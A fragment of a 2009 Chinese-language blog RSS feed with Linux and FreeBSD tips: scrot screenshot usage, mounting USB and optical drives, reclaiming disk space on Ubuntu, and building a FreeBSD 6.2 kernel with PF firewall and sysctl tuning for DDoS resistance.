</script>
<!-- End Alimama Adserver code -->
<br />
不能使用，那俺就想着将这个chrome 删除，但发觉用dpkg -r 都不能删除，用新立德也不行。。用apt-get remove 也不行。。。看来，只能直接删除/opt/chrome 才行。俺担心，这样删除可能对系统有安全隐患，就没有这样删除，想着，先这样放着吧。。待以后chrome for linux 正式版出来后。才考虑如何解决吧。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1190.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ubuntu 9.04 安装scrot 截图软件</title>
		<link>http://www.evanjiang.net.cn/archives/1183.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1183.html#comments</comments>
		<pubDate>Wed, 10 Jun 2009 09:08:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1183</guid>
		<description><![CDATA[<p>  ubuntu 下 gnome 自带的截图工具其实也还不错，有快捷键，可以在命令行下用 &#8211;window 的方式指定对某窗进行截图，也可以使用 &#8211;border 来指定是否包含窗体边框，甚至可以有阴影。</p>
<p>      Scrot，也是一个命令行下使用的截图工具，支持全屏、窗口、选取、多设备、缩略图、延时，甚至可以截图完毕之后指定某程序打开截好的图片。</p>
<p>           安装：
      可以打开新立得搜索 scrot 并安装，也可以在终端：
      sudo apt-get install scrot
      来进行安装。</p>
<p>      [...]]]></description>
			<content:encoded><![CDATA[<p>  ubuntu 下 gnome 自带的截图工具其实也还不错，有快捷键，可以在命令行下用 &#8211;window 的方式指定对某窗进行截图，也可以使用 &#8211;border 来指定是否包含窗体边框，甚至可以有阴影。</p>
<p>      Scrot，也是一个命令行下使用的截图工具，支持全屏、窗口、选取、多设备、缩略图、延时，甚至可以截图完毕之后指定某程序打开截好的图片。</p>
<p>           安装：<br />
      可以打开新立得搜索 scrot 并安装，也可以在终端：<br />
      sudo apt-get install scrot<br />
      来进行安装。</p>
<p>      Scrot 使用：</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
概要<br />
scrot [options] [file]</p>
<p>描述<br />
scrot 是一个使用 imlib2 库截取屏幕和保存图像的的工具。<br />
选项 [file] 指定截图保存的文件名。 如果 [file] 没有指定，<br />
截图就会以当前的日期和时间为文件名保存在当前目录中。</p>
<p>选项<br />
-h, &#8211;help<br />
显示帮助并且退出<br />
-v, &#8211;version<br />
显示版本信息并且退出<br />
-b, &#8211;border<br />
当选择一个窗口时，同时包含窗口边框。<br />
-c, &#8211;count<br />
延时时的显示倒计时<br />
<span id="more-1183"></span><br />
-d, &#8211;delay NUM<br />
延时 NUM 秒<br />
-e, &#8211;exec APP<br />
对保存的图像执行程序 APP<br />
-q, &#8211;quality NUM<br />
图像质量 (1-100) 值大意味着文件大， 压缩率低。<br />
-m, &#8211;multidisp<br />
对多个显示设备分别截图并且连接在一起。<br />
-s, &#8211;select<br />
用鼠标交互式的选择一个窗口或者区域。<br />
-t, &#8211;thumb NUM<br />
同时生成缩略图。 NUM 是缩略图的百分比。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
说明符<br />
&#8211;exec 和 文件名可以使用可以被 scrot 扩充的格式说明符。有两种类型的<br />
说明符。 &#8216;%&#8217; 前导的说明符由 strfile(2) 来解释。例程可以查看 strftile<br />
手册。这些选项用来引用当前的日期。第二种说明符由 scort 内部解释并且<br />
使用前缀 &#8216;$&#8217;. 可以识别的说明符如下:<br />
$f 图像的路径/文件名 (如果在文件名中就会忽略)<br />
$n 图像文件名 (如果在文件名中会被忽略)<br />
$s 图像大小(字节数) (如果在文件名会被忽略)<br />
$p 图像像素大小<br />
$w 图像宽度<br />
$h 图像高度<br />
$t 图像格式<br />
$$ 打印字符 &#8216;$&#8217;<br />
n 打印新行 (如果在文件名中会被忽略)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
     例子(~ 用户主目录)：<br />
1、对全屏截图并保存文件名：<br />
      scrot ~/abc.png</p>
<p>2、抓取窗口，b 参数表示带边框窗体，s 用户可以指定窗口：<br />
      scrot -bs ~/abc.png</p>
<p>3、抓取鼠标选定区域：<br />
      scrot -s ~/abc.png</p>
<p>4、延时抓取，d 表示延时，c 倒计时，10 是秒，抓菜单等其他东西时很好用：<br />
      scrot -cd 10 ~/abc.png</p>
<p>5、生成缩略图，t 表示要生成缩略图， 20% 表示缩略图的比例， s 表示截取用户划定区域：<br />
      scrot -t 20% -s ~/abc.png</p>
<p>6、启用某项操作 s 划定截图，-e 采用某项行为，这里用 gimp 打开截图图片，<br />
      scrot -s ~/abc.png -e &#8216;gimp $f&#8217;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1183.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux 加载u盘、光盘、软盘&amp; mount使用指南</title>
		<link>http://www.evanjiang.net.cn/archives/1100.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1100.html#comments</comments>
		<pubDate>Mon, 25 May 2009 10:02:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1100</guid>
		<description><![CDATA[<p>一、Linux加载u盘
Linux如何加载(优)U盘
第一步，以root用户登陆
先加载USB模块 modprobe usb-storage
用fdisk -l 看看磁盘的设备
假如U盘是sda
第二步，确定在 目录 /mnt 下建立了 文件夹 /usb,如果未建立可键入一下命令：               mkdir /mnt/usb
第三步, 载入 u 盘，需键入以下命令：
Linux如何加载(优)U盘
第一步，以root用户登陆
先加载USB模块 modprobe usb-storage
用fdisk -l 看看U盘的设备
假如U盘是sda1
第二步，确定在 目录 /mnt 下建立了 文件夹 /usb,如果未建立可键入一下命令：               md /mnt/usb
成功后进行下一步。
第三步, 载入 [...]]]></description>
			<content:encoded><![CDATA[<p>一、Linux加载u盘<br />
Linux如何加载(优)U盘<br />
第一步，以root用户登陆<br />
先加载USB模块 modprobe usb-storage<br />
用fdisk -l 看看磁盘的设备<br />
假如U盘是sda<br />
第二步，确定在 目录 /mnt 下建立了 文件夹 /usb,如果未建立可键入一下命令：               mkdir /mnt/usb<br />
第三步, 载入 u 盘，需键入以下命令：<br />
Linux如何加载(优)U盘<br />
第一步，以root用户登陆<br />
先加载USB模块 modprobe usb-storage<br />
用fdisk -l 看看U盘的设备<br />
假如U盘是sda1<br />
第二步，确定在 目录 /mnt 下建立了 文件夹 /usb,如果未建立可键入一下命令：               md /mnt/usb<br />
成功后进行下一步。<br />
第三步, 载入 u 盘，需键入以下命令：<br />
mount -t vfat /dev/sda /mnt/usb_disk<br />
成功后，即可使用 u 盘了, 文件就在目录 /mnt/usb 下。<br />
第四步，卸载u盘<br />
在使用完u盘后，在拔出前需要先键入卸载U盘命令<br />
命令如下：               umount /mnt/usb<br />
二、Linux mount使用指南<br />
在Linux中，如果你要使用储存设备 (Mo、硬盘、光驱等) ，就得先将它挂上 (Mount)，而当储 存设备挂上了之后，就可以把它当成一个目录来进行访问。挂上一个设备使用mount命令。 </p>
<p>在使用mount这个指令时，至少要先知道下列三种信息： </p>
<p>1. 要Mount对象的文件系统类型？ (File system type) </p>
<p>2. 要Mount对象的设备名称？ (/dev/????) </p>
<p>3. 要将设备Mount到哪个目录去？<br />
<span id="more-1100"></span><br />
一、获得系统支持的文件系统类型 </p>
<p>就第一点来说，用户可以执行 </p>
<p>cat /proc/filesystems </p>
<p>来获得机器上支持的文件系统类型。如果系统并不支持你要挂接设备的文件系统类型，那 你可能需要重新编译内核以使其增加对该种文件类型支持。关于如何编译内核请参照LinuxAid在 线培训栏目中的相关文章。 </p>
<p>常用的文件系统有： </p>
<p>Win95/98常用的FAT 32文件系统 ：vfat </p>
<p>Win NT用的文件系统 ：ntfs </p>
<p>OS2用的文件系统 ：hpfs </p>
<p>Linux用的文件系统 ：ext2 </p>
<p>光盘片用的文件系统 ：iso9660 </p>
<p>其中虽然vfat是指FAT 32系统，但事实上它也兼容FAT 16的文件系统类型。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
二、确定设备的名称 </p>
<p>在Linux中，设备名称通常都在/dev里。这些设备名称的命名都是有规则的，我们可以用&#8221;推 理&#8221;的方式把设备名称找出来。 </p>
<p>譬如说/dev/hda1这个IDE设备。hd是Hard Disk(硬盘)的意思，sd是SCSI Device，fd是Floppy Device(或是Floppy Disk?)。a则是代表第一个设备，通常IDE接口可以接上四个IDE设备(例如四块 硬盘)。所以要识别IDE硬盘的方法分别就 </p>
<p>是：hda、hdb、hdc、hdd。此外，hda1中的&#8221;1&#8243;代表hda的第一个硬盘分区 </p>
<p>(partition)，hda2代表hda的第二个分割区，依此类推。 </p>
<p>此外，你可以直接检查/var/log/messages这个文件，在该文件中可以找到计算机开机后，系 统已辨认出来的设备代号。 </p>
<p>三、查找挂接点 </p>
<p>最后我们要决定将设备挂接到哪里，先查看一下你的计算机是不是有个/mnt的空目录？该目 录就是专门用来当作挂载点(Mount Point)的目录。建议您在/mnt里多建这几个目录：/mnt/ cdrom、/mnt/floppy、/mnt/mo等来当作目录的专用挂载点。 </p>
<p>举例而言，如要挂载下列五个设备的话，其执行指令可能是 (假设都是Linux的ext2系统，如 果是Win XX的话，请将ext2改成vfat)： </p>
<p>1. 软盘 ===>mount -t ext2 /dev/fd0 /mnt/floppy </p>
<p>2. MO ===>mount -t ext2 /dev/sda /mnt/mo </p>
<p>3. cdrom ===>mount -t ext2 /dev/hdc /mnt/cdrom<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
4. SCSI cdrom ===>mount -t iso9660 /dev/sdb /mnt/scdrom </p>
<p>5. SCSI cdr ===>mount -t iso9660 /dev/sdc /mnt/scdr </p>
<p>这是假设，如果你的设备的名称跟这个不同的话请自行修改。 </p>
<p>最后需要注意的是： </p>
<p>1. 执行mount动作时先打一下pwd看看现在的目录是不是在挂载点，如果现在目录在挂载点 的话，mount (或umount)不会成功 (会显示device busy)。 </p>
<p>2. 想卸载某设备的语法是umount 目录名，例如umount /mnt/cdrom等。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1100.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu空间不够用,为Ubuntu减肥,腾点空间出来</title>
		<link>http://www.evanjiang.net.cn/archives/1061.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1061.html#comments</comments>
		<pubDate>Fri, 22 May 2009 03:53:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[debian linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1061</guid>
		<description><![CDATA[<p>这段时间,使用ubuntu9.04 时,总听到硬盘在晌.在终端下运行 df -k 发觉/分区的空间使用率已经到98%,是要想办法给ubuntu减减肥.腾点空间出来啦..于是,就在网上,找到下面这篇文章,照着用一下,效果蛮好的&#8230;于是就将这篇文章记下来..</p>
<p>linux和windows系统不同，linux不会产生无用垃圾文件，但是在升级缓存中，linux不会自动删除这些文件，今天就来说说这些垃圾文件清理方法。</p>
<p>1，非常有用的清理命令：
sudo apt-get autoclean
sudo apt-get clean
sudo apt-get autoremove</p>
<p>这三个命令主要清理升级缓存以及无用包的。</p>
<p>2，清理opera firefox的缓存文件：
ls ~/.opera/cache4
ls ~/.mozilla/firefox/*.default/Cache </p>
<p>3，清理Linux下孤立的包：
图形界面下我们可以用：gtkorphan
sudo apt-get install gtkorphan -y</p>
<p>终端命令下我们可以用：deborphan
sudo apt-get install deborphan -y</p>
<p>4，卸载：tracker
这个东西一般我只要安装ubuntu就会第一删掉tracker 他不仅会产生大量的cache文件而且还会影响开机速度。所以在新得利里面删掉就行。</p>
<p>5，删除多余的内核：一定不要删错哦，切记！！
打开终端敲命令：dpkg &#8211;get-selections&#124;grep linux
有image的就是内核文件
删除老的内核文件：
sudo apt-get remove 内核文件名 （例如：linux-image-2.6.27-2-generic）
内核删除，释放空间了，应该能释放130－140M空间。
最后不要忘了看看当前内核：uname -a

附录：
包管理的临时文件目录:
包在
/var/cache/apt/archives
没有下载完的在
/var/cache/apt/archives/partial








＝＝＝＝＝＝＝＝＝＝＝进阶＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
1. 用新利得删除残留的配置文件
经常安装和卸载软件用户都知道只用 apt-get remove 是不能把软件彻底清除的,所以养成良好的习惯很重要,我一般都是认为那些以后不会再安装的软件都用 aptitude purge/apt-get remove &#8212; purge 来卸载,这样就会把配置文档也一起删除,如果不知道以前卸载的那些配置文档删除有没有怎么办!?
没关系&#8221;凡存在过的必留下痕迹&#8221;(keso语^_^),我们来一步一步删除那些残留文档:
打开新利得(系统-系统管理-新利得),在左下角选择状态,现在在上面的列表里就会看到如下的分类:
已安装
已安装(本地的或陈旧的)
未安装
未安装的(残存配置)
软件仓库里的新内容
现在选择未安装的(残存配置)如果没有这个选择那就证明你的系统并没有残存配置文件.
现在把右面列表里不想保留的配置文件删除就可以.</p>
<p>2. 删除系统无用的软件包
当你需要安装某个软件包时,APT从/etc/apt/sources.list中所列的主机下载所 需的文件,将它们保存到本机软件库(/var/cache/apt/archives/)， 然后开始安装.
本地软件库会不断膨胀占用大量硬盘空间,幸运的是,APT提供了工具来管理本地 软件库:apt-get的clean方法和autoclean方法.
apt-get clean将删除/var/cache/apt/archives目录 和/var/cache/apt/archives/partial目录下锁文件以外的所有文件. 这样以来,当你需要再次安装某个软件包时,APT将重新下载它.
apt-get autoclean仅删除那些不需要再次下载的文件.</p>
<p>3. 卸载那些不被使用的local翻译文档
这次我们要用到一个工具啦:localepurge 看名字就能明白他是干什么的啦.
安装localepurge: sudo apt-get install localepurge
安装好以后,当我们每次使用apt安装软件的时候localepurge就会根据你locale的设置来删除那些不需要的locale文档,比如:当我aapt安装armarok以后就会在安装完成之后看到像:
localepurge: [...]]]></description>
			<content:encoded><![CDATA[<p>这段时间,使用ubuntu9.04 时,总听到硬盘在晌.在终端下运行 df -k 发觉/分区的空间使用率已经到98%,是要想办法给ubuntu减减肥.腾点空间出来啦..于是,就在网上,找到下面这篇文章,照着用一下,效果蛮好的&#8230;于是就将这篇文章记下来..</p>
<p>linux和windows系统不同，linux不会产生无用垃圾文件，但是在升级缓存中，linux不会自动删除这些文件，今天就来说说这些垃圾文件清理方法。</p>
<p>1，非常有用的清理命令：<br />
sudo apt-get autoclean<br />
sudo apt-get clean<br />
sudo apt-get autoremove</p>
<p>这三个命令主要清理升级缓存以及无用包的。</p>
<p>2，清理opera firefox的缓存文件：<br />
ls ~/.opera/cache4<br />
ls ~/.mozilla/firefox/*.default/Cache </p>
<p>3，清理Linux下孤立的包：<br />
图形界面下我们可以用：gtkorphan<br />
sudo apt-get install gtkorphan -y</p>
<p>终端命令下我们可以用：deborphan<br />
sudo apt-get install deborphan -y</p>
<p>4，卸载：tracker<br />
这个东西一般我只要安装ubuntu就会第一删掉tracker 他不仅会产生大量的cache文件而且还会影响开机速度。所以在新得利里面删掉就行。</p>
<p>5，删除多余的内核：一定不要删错哦，切记！！<br />
打开终端敲命令：dpkg &#8211;get-selections|grep linux<br />
有image的就是内核文件<br />
删除老的内核文件：<br />
sudo apt-get remove 内核文件名 （例如：linux-image-2.6.27-2-generic）<br />
内核删除，释放空间了，应该能释放130－140M空间。<br />
最后不要忘了看看当前内核：uname -a<br />
<span id="more-1061"></span><br />
附录：<br />
包管理的临时文件目录:<br />
包在<br />
/var/cache/apt/archives<br />
没有下载完的在<br />
/var/cache/apt/archives/partial<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
＝＝＝＝＝＝＝＝＝＝＝进阶＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 用新利得删除残留的配置文件<br />
经常安装和卸载软件用户都知道只用 apt-get remove 是不能把软件彻底清除的,所以养成良好的习惯很重要,我一般都是认为那些以后不会再安装的软件都用 aptitude purge/apt-get remove &#8212; purge 来卸载,这样就会把配置文档也一起删除,如果不知道以前卸载的那些配置文档删除有没有怎么办!?<br />
没关系&#8221;凡存在过的必留下痕迹&#8221;(keso语^_^),我们来一步一步删除那些残留文档:<br />
打开新利得(系统-系统管理-新利得),在左下角选择状态,现在在上面的列表里就会看到如下的分类:<br />
已安装<br />
已安装(本地的或陈旧的)<br />
未安装<br />
未安装的(残存配置)<br />
软件仓库里的新内容<br />
现在选择未安装的(残存配置)如果没有这个选择那就证明你的系统并没有残存配置文件.<br />
现在把右面列表里不想保留的配置文件删除就可以.</p>
<p>2. 删除系统无用的软件包<br />
当你需要安装某个软件包时,APT从/etc/apt/sources.list中所列的主机下载所 需的文件,将它们保存到本机软件库(/var/cache/apt/archives/)， 然后开始安装.<br />
本地软件库会不断膨胀占用大量硬盘空间,幸运的是,APT提供了工具来管理本地 软件库:apt-get的clean方法和autoclean方法.<br />
apt-get clean将删除/var/cache/apt/archives目录 和/var/cache/apt/archives/partial目录下锁文件以外的所有文件. 这样以来,当你需要再次安装某个软件包时,APT将重新下载它.<br />
apt-get autoclean仅删除那些不需要再次下载的文件.</p>
<p>3. 卸载那些不被使用的local翻译文档<br />
这次我们要用到一个工具啦:localepurge 看名字就能明白他是干什么的啦.<br />
安装localepurge: sudo apt-get install localepurge<br />
安装好以后,当我们每次使用apt安装软件的时候localepurge就会根据你locale的设置来删除那些不需要的locale文档,比如:当我aapt安装armarok以后就会在安装完成之后看到像:<br />
localepurge: Disk space freed in /usr/share/locale: 70***K (7M左右的文档,具体的数据忘)<br />
当然你也可以通过编辑/etc/locale.nopurge 来编辑需要保留的locale文档..</p>
<p>4. 使用一些工具删除&#8221;孤儿软件包&#8221;<br />
孤儿软件包是指那些已经没有人维护的软件包当然也就没有软件要依赖它,这儿我们可以用GtkOrphan(要自己下载Deb包安装)或者Wajig(可以apt安装),这两个都是GUI的操作界面,我都没有使用过就不多说了,如果想了解更多的信息可以参考这儿 .<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
5. 使用debfoster来跟踪安装的软件包<br />
安装:sudo apt-get install debfoster<br />
当我们使用apt安装软件的时候,它会把那个软件所依赖的软件包都安装上去，但是当我们卸载这个软件包的时候，那些为满足这个软件包的依赖关系而装上去的包并没有从系统里卸载掉.这个时候我们就会用到debfoster啦.<br />
debfoster是apt-get和dpkg的前端,当第一次运行debfoster的时候它会问你那些软件包是要保留的,如果不需要就选n就行.<br />
使用debfoster我们可以方便的安装和卸载软件,比如可以使用debfoster package 来安装某个软件,当我们不需要的时候可以用 debfoster package- 来删除它,同时那些没有用的包也会一起删掉.</p>
<p>6. 使用trans-purge 来为Linux桌面瘦身加速</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1061.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FREEBSD+PF 在6.2上的架设放DDOS 攻击的网站</title>
		<link>http://www.evanjiang.net.cn/archives/1058.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1058.html#comments</comments>
		<pubDate>Wed, 20 May 2009 06:13:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[pf]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1058</guid>
		<description><![CDATA[<p>现网站和外挂经常带arp和ddos攻击,本来用ros做网吧路由器顶不住ddos，只能换FB6.2+pf,前几天用FB6.2+PF，人多时出watchdog timeout,下面是安装步骤，操作一个写一个， </p>
<p>cd /usr/src/sys/i386/conf
cp GERENIC PFOK
ee FFOK </p>
<p>修改并加入下面东东 </p>
<p>ident PFOK
device pf
device pflog
device pfsync
options ALTQ
options ALTQ_CBQ
options ALTQ_RED
options ALTQ_RIO
options ALTQ_HFSC
options ALTQ_PRIQ
options ALTQ_NOPCC
options PANIC_REBOOT_WAIT_TIME=0
options DEVICE_POLLING
options HZ=2000
options IPSTEALTH
# options RANDOM_IP_ID
options TCP_DROP_SYNFIN </p>
<p>config PFOK
cd /usr/src/sys/i386/compile/PFOK
make depend
make
make install
reboot </p>
<p>ee /etc/sysctl.conf
net.inet.ip.forwarding=1
net.inet.ip.fastforwarding=1
net.inet.tcp.drop_synfin=1
net.inet.tcp.sendspace=65536
net.inet.tcp.recvspace=65536
#net.inet.udp.sendspace=65535
net.inet.udp.maxdgram=65535
net.local.stream.sendspace=65535
net.inet.tcp.rfc1323=1
#net.inet.tcp.rfc1644=1
net.inet.tcp.rfc3042=1
net.inet.tcp.rfc3390=1
kern.ipc.maxsockbuf=2097152
kern.maxfiles=65536
kern.maxfilesperproc=32768
kern.polling.enable=1
kern.polling.burst_max=500
kern.ipc.somaxconn=2048
kern.ipc.nmbclusters=32768
net.inet.tcp.delayed_ack=0
net.inet.icmp.icmplim=100
net.inet.icmp.icmplim_output=0
net.inet.tcp.drop_synfin=1

ee /boot/loader.conf
autobootdelay=&#8221;2&#8243; </p>
<p>ee /etc/rc.conf
sendmail_enable=&#8221;NONE&#8221;
sendmail_submit_enable=&#8221;NO&#8221;
sendmail_outbound_enable=&#8221;NO&#8221;
sendmail_msp_queue_enable=&#8221;NO&#8221;
clear_tmp_enable=&#8221;YES&#8221;
update_motd=&#8221;NO&#8221;
tcp_drop_synfin=&#8221;YES&#8221;
#icmp_drop_redirect=&#8221;YES&#8221;
#icmp_log_redirect=&#8221;YES&#8221;
#log_in_vain=&#8221;YES&#8221;
#accounting_enable=&#8221;YES&#8221;
pf_enable=&#8221;YES&#8221;
pf_rules=&#8221;/etc/pf.conf&#8221;
pf_flags=&#8221;"
#pflog_enable=&#8221;YES&#8221;
#pflog_logfile=&#8221;/var/log/pflog&#8221;








这里我就加了句pf_enable=&#8221;YES&#8221; </p>
<p>uname -a
FreeBSD pf.com 6.2-RC1 FreeBSD 6.2-RC1 #0: Thu Nov 23 04:20:46 CST 2006 sshpf@pf.com:/usr/src/sys/i386/compile/PFOK i386 </p>
<p>我的pf.conf </p>
<p>#pfctl -e [...]]]></description>
			<content:encoded><![CDATA[<p>现网站和外挂经常带arp和ddos攻击,本来用ros做网吧路由器顶不住ddos，只能换FB6.2+pf,前几天用FB6.2+PF，人多时出watchdog timeout,下面是安装步骤，操作一个写一个， </p>
<p>cd /usr/src/sys/i386/conf<br />
cp GERENIC PFOK<br />
ee FFOK </p>
<p>修改并加入下面东东 </p>
<p>ident PFOK<br />
device pf<br />
device pflog<br />
device pfsync<br />
options ALTQ<br />
options ALTQ_CBQ<br />
options ALTQ_RED<br />
options ALTQ_RIO<br />
options ALTQ_HFSC<br />
options ALTQ_PRIQ<br />
options ALTQ_NOPCC<br />
options PANIC_REBOOT_WAIT_TIME=0<br />
options DEVICE_POLLING<br />
options HZ=2000<br />
options IPSTEALTH<br />
# options RANDOM_IP_ID<br />
options TCP_DROP_SYNFIN </p>
<p>config PFOK<br />
cd /usr/src/sys/i386/compile/PFOK<br />
make depend<br />
make<br />
make install<br />
reboot </p>
<p>ee /etc/sysctl.conf<br />
net.inet.ip.forwarding=1<br />
net.inet.ip.fastforwarding=1<br />
net.inet.tcp.drop_synfin=1<br />
net.inet.tcp.sendspace=65536<br />
net.inet.tcp.recvspace=65536<br />
#net.inet.udp.sendspace=65535<br />
net.inet.udp.maxdgram=65535<br />
net.local.stream.sendspace=65535<br />
net.inet.tcp.rfc1323=1<br />
#net.inet.tcp.rfc1644=1<br />
net.inet.tcp.rfc3042=1<br />
net.inet.tcp.rfc3390=1<br />
kern.ipc.maxsockbuf=2097152<br />
kern.maxfiles=65536<br />
kern.maxfilesperproc=32768<br />
kern.polling.enable=1<br />
kern.polling.burst_max=500<br />
kern.ipc.somaxconn=2048<br />
kern.ipc.nmbclusters=32768<br />
net.inet.tcp.delayed_ack=0<br />
net.inet.icmp.icmplim=100<br />
net.inet.icmp.icmplim_output=0<br />
net.inet.tcp.drop_synfin=1<br />
<span id="more-1058"></span><br />
ee /boot/loader.conf<br />
autobootdelay=&#8221;2&#8243; </p>
<p>ee /etc/rc.conf<br />
sendmail_enable=&#8221;NONE&#8221;<br />
sendmail_submit_enable=&#8221;NO&#8221;<br />
sendmail_outbound_enable=&#8221;NO&#8221;<br />
sendmail_msp_queue_enable=&#8221;NO&#8221;<br />
clear_tmp_enable=&#8221;YES&#8221;<br />
update_motd=&#8221;NO&#8221;<br />
tcp_drop_synfin=&#8221;YES&#8221;<br />
#icmp_drop_redirect=&#8221;YES&#8221;<br />
#icmp_log_redirect=&#8221;YES&#8221;<br />
#log_in_vain=&#8221;YES&#8221;<br />
#accounting_enable=&#8221;YES&#8221;<br />
pf_enable=&#8221;YES&#8221;<br />
pf_rules=&#8221;/etc/pf.conf&#8221;<br />
pf_flags=&#8221;"<br />
#pflog_enable=&#8221;YES&#8221;<br />
#pflog_logfile=&#8221;/var/log/pflog&#8221;<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
这里我就加了句pf_enable=&#8221;YES&#8221; </p>
<p>uname -a<br />
FreeBSD pf.com 6.2-RC1 FreeBSD 6.2-RC1 #0: Thu Nov 23 04:20:46 CST 2006 sshpf@pf.com:/usr/src/sys/i386/compile/PFOK i386 </p>
<p>我的pf.conf </p>
<p>#pfctl -e -F all -f /etc/pf.conf </p>
<p>#只重新load过滤规则<br />
#pfctl -F rules -Rf /etc/pf.conf </p>
<p>#pfctl -f /etc/pf.conf # 重新加载pf.conf 设定档<br />
#pfctl -nf /etc/pf.conf # 确认语法有无符合，但不载入<br />
#pfctl -Nf /etc/pf.conf # 只加载 NAT 的设定档<br />
#pfctl -Rf /etc/pf.conf # 只加载防火墙的过滤设定档 </p>
<p>#pfctl -sn # 显示现阶段 NAT 的规则<br />
#pfctl -sr # 显示现阶段过滤的规则<br />
#pfctl -ss # 显示现阶段封包运作状态<br />
#pfctl -si # 显示现阶段过滤封包的统计资料<br />
#pfctl -sa # 显示现阶段所有统计的数据 </p>
<p>ext_if=&#8221;rl0&#8243;<br />
#edu_if=&#8221;"<br />
int_if=&#8221;fxp0&#8243; </p>
<p>ext_addr=&#8221;192.168.1.51&#8243; </p>
<p>int_net=&#8221;172.16.0.0/16&#8243;<br />
ext_net = &#8220;192.168.0.0/16&#8243;<br />
loop = &#8220;{lo0, 127.0.0.1}&#8221;<br />
OpenPorts = &#8220;{21, 22, 80, 88, 4899}&#8221;<br />
InsideManagerIPs = &#8220;{172.16.0.100}&#8221;<br />
InsiteManagerOpenPorts = &#8220;{21, 22, 23, 24, 25, 80, 4899}&#8221;<br />
priv_nets = &#8220;{ 127.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12}&#8221; # 定義符合 RFC 1918 私有IP 部份<br />
